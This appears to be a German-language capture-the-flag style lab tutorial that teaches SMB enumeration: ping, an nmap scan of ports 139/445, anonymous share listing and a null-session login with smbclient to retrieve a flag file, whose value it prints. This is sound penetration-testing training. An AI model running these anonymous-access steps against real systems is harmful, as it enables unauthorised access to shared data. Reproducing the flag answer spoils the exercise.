Einführung
Willkommen zu diesem praktischen Lab, das sich auf die Enumeration und Ausnutzung von Server Message Block (SMB) konzentriert. SMB ist ein Netzwerkprotokoll für die Dateifreigabe, das es Anwendungen auf einem Computer ermöglicht, Dateien zu lesen und zu schreiben sowie Dienste von Serverprogrammen in einem Computernetzwerk anzufordern. Aufgrund seiner weit verbreiteten Nutzung ist es ein häufiges Ziel für Angreifer.
In diesem Lab schlüpfen Sie in die Rolle eines Penetration Testers. Sie beginnen mit grundlegender Netzwerkerkundung, um zu bestätigen, dass das Ziel online ist. Als Nächstes verwenden Sie das leistungsstarke Scan-Tool nmap, um einen offenen SMB-Dienst zu entdecken. Schließlich verwenden Sie smbclient, um den Dienst zu untersuchen, eine Fehlkonfiguration zu finden, die anonymen Gastzugriff ermöglicht, und eine versteckte Flagge aus einer öffentlichen Freigabe abzurufen.
Nach Abschluss werden Sie verstehen, wie Sie:
- Die Netzwerkkonnektivität mit
pingüberprüfen. - Offene SMB-Ports und -Dienste mit
nmapscannen. - SMB-Freigaben mit
smbclientenumerieren und verbinden. - Eine Fehlkonfiguration des Gastzugriffs ausnutzen, um Dateien abzurufen.
Lassen Sie uns beginnen.
Konnektivität zum Ziel mit Ping überprüfen
In diesem ersten Schritt führen Sie eine grundlegende Erkundungsaufgabe durch: Sie überprüfen, ob die Zielmaschine online und von Ihrer Angreifer-Maschine erreichbar ist. Der Befehl ping ist ein Standardwerkzeug dafür, das ICMP-Pakete an einen Host sendet, um eine Antwort zu testen.
Ihre Umgebung enthält ein Zielsystem, das als target aliasiert ist. Um die Konnektivität zu bestätigen, führen Sie den folgenden Befehl in Ihrem Terminal aus, um vier Pakete zu senden:
ping -c 4 target
Das Flag -c 4 weist ping an, genau vier Pakete zu senden und dann zu stoppen. Ein erfolgreiches Ergebnis sieht ähnlich aus wie die folgende Ausgabe, die Antworten vom Ziel zeigt. Die IP-Adresse und die Zeitwerte können abweichen.
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms
--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms
Die Anzeige "4 received, 0% packet loss" bestätigt, dass Ihre Maschine mit dem Ziel kommunizieren kann, und bereitet die Bühne für die nächste Phase der Enumeration.
Offene Ports mit Nmap scannen
In diesem Schritt verwenden Sie nmap (Network Mapper), um den Zielhost nach offenen Ports zu scannen und laufende Dienste zu identifizieren. Dies ist ein entscheidender Schritt, um potenzielle Angriffsvektoren zu finden. Wir werden unseren Scan auf den SMB-Dienst konzentrieren.
Führen Sie den folgenden nmap-Befehl aus, um einen Scan zur Erkennung von Dienstversionen (-sV) durchzuführen und ein Skript (--script) auszuführen, um SMB-Protokolle auf dem target zu überprüfen:
nmap -sV --script smb-protocols target
Nach einigen Momenten wird nmap seine Ergebnisse berichten. Die Ausgabe wird ähnlich wie diese aussehen:
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Host script results:
| smb-protocols:
| dialects:
| 2.02
| 2.10
| 3.00
| 3.02
|_ 3.11
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
Die Ausgabe bestätigt, dass die Ports 139/tcp und 445/tcp offen sind und den Samba-Dienst ausführen. Port 445 ist der moderne Port für SMB. Diese Entdeckung ist unser Signal, den SMB-Dienst auf Schwachstellen zu untersuchen.
Verbindung zum Ziel über SMB herstellen
In diesem Schritt verwenden Sie das Dienstprogramm smbclient, um mit dem SMB-Dienst auf dem Ziel zu interagieren. Ihr Ziel ist es zu sehen, ob Sie sich ohne Passwort verbinden können, eine Technik, die als "Null-Session" oder anonymer Login bekannt ist.
Zuerst listen wir die verfügbaren Shares auf dem Ziel auf. Das Flag -L listet Dienste auf, und das Flag -N versucht, sich ohne Passwort zu verbinden.
Führen Sie den folgenden Befehl aus:
smbclient -L //target -N
Wenn der Server falsch konfiguriert ist und Gastzugriff erlaubt, sehen Sie eine Liste der verfügbaren Shares. Die Ausgabe sollte ähnlich wie diese aussehen:
Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (Samba Server)
SMB1 disabled -- no workgroup available
Die wichtigste Erkenntnis hier ist der public-Share. Der Name deutet darauf hin, dass er für jedermann zugänglich sein könnte. Im nächsten Schritt werden Sie sich mit diesem Share verbinden, um dessen Inhalt zu erkunden.
Zielsystem erkunden und Flagge finden
In diesem letzten Schritt verbinden Sie sich mit dem public-Share, den Sie entdeckt haben, und suchen nach der Flagge. Dies simuliert die Post-Exploitation-Phase, in der ein Angreifer nach wertvollen Daten sucht.
Verbinden Sie sich direkt mit dem public-Share mit smbclient, wiederum mit dem Flag -N für anonymen Zugriff:
smbclient //target/public -N
Eine erfolgreiche Verbindung bringt Sie zu einer smbclient-Eingabeaufforderung, die wie smb: \> aussieht. Sie durchsuchen nun den Remote-Dateifreigabe.
Try "help" to get a list of possible commands.
smb: \>
Verwenden Sie den Befehl ls, um den Inhalt des Shares aufzulisten:
ls
Sie sollten die Datei flag.txt aufgelistet sehen.
smb: \> ls
. D 0 Fri Sep 19 10:29:39 2025
.. D 0 Fri Sep 19 10:29:39 2025
flag.txt N 29 Fri Sep 19 10:29:39 2025
40901312 blocks of size 1024. 22067688 blocks available
Laden Sie die Datei nun mit dem Befehl get auf Ihren lokalen Rechner herunter:
get flag.txt
Hinweis: Das Dienstprogramm smbclient verfügt nicht über einen integrierten cat-Befehl, um den Dateiinhalt direkt anzuzeigen. Sie müssen die Datei zuerst mit get herunterladen.
Sobald der Download abgeschlossen ist, geben Sie exit ein, um die smbclient-Sitzung zu beenden. Verwenden Sie schließlich den Befehl cat auf Ihrem lokalen Terminal, um den Inhalt der heruntergeladenen Flagge anzuzeigen.
cat flag.txt
Das Terminal zeigt den Wert der Flagge an.
labex{smb_gu3st_acc3ss_fl4g}
Herzlichen Glückwunsch! Sie haben erfolgreich einen SMB-Dienst aufgezählt, eine Fehlkonfiguration des Gastzugriffs ausgenutzt und die Flagge abgerufen. Kopieren Sie den Flag-Wert, um das Lab abzuschließen.
Zusammenfassung
In diesem Lab haben Sie erfolgreich einen grundlegenden Penetrationstest-Workflow gegen einen falsch konfigurierten SMB-Dienst durchgeführt. Sie haben gelernt und geübt, wie man:
pingverwendet, um die Netzwerkkonnektivität mit einem Ziel zu überprüfen.nmapeinsetzt, um nach offenen Ports zu suchen und den SMB-Dienst zu identifizieren.smbclient -Lverwendet, um verfügbare Netzwerkfreigaben anonym aufzulisten.- Sich mit
smbclientüber eine Null-Session mit einer offenen SMB-Freigabe verbindet. - Eine Remote-Freigabe navigiert und Dateien mit
lsundgetherunterlädt.
Diese Übung demonstriert eine häufige und kritische Schwachstelle: das Zulassen von anonymem oder Gastzugriff auf Netzwerkfreigaben. Solche Fehlkonfigurationen können zur Offenlegung sensibler Daten führen. Indem Sie verstehen, wie Sie diese Schwächen finden und ausnutzen können, sind Sie besser darauf vorbereitet, Ihre eigenen Systeme dagegen abzusichern.



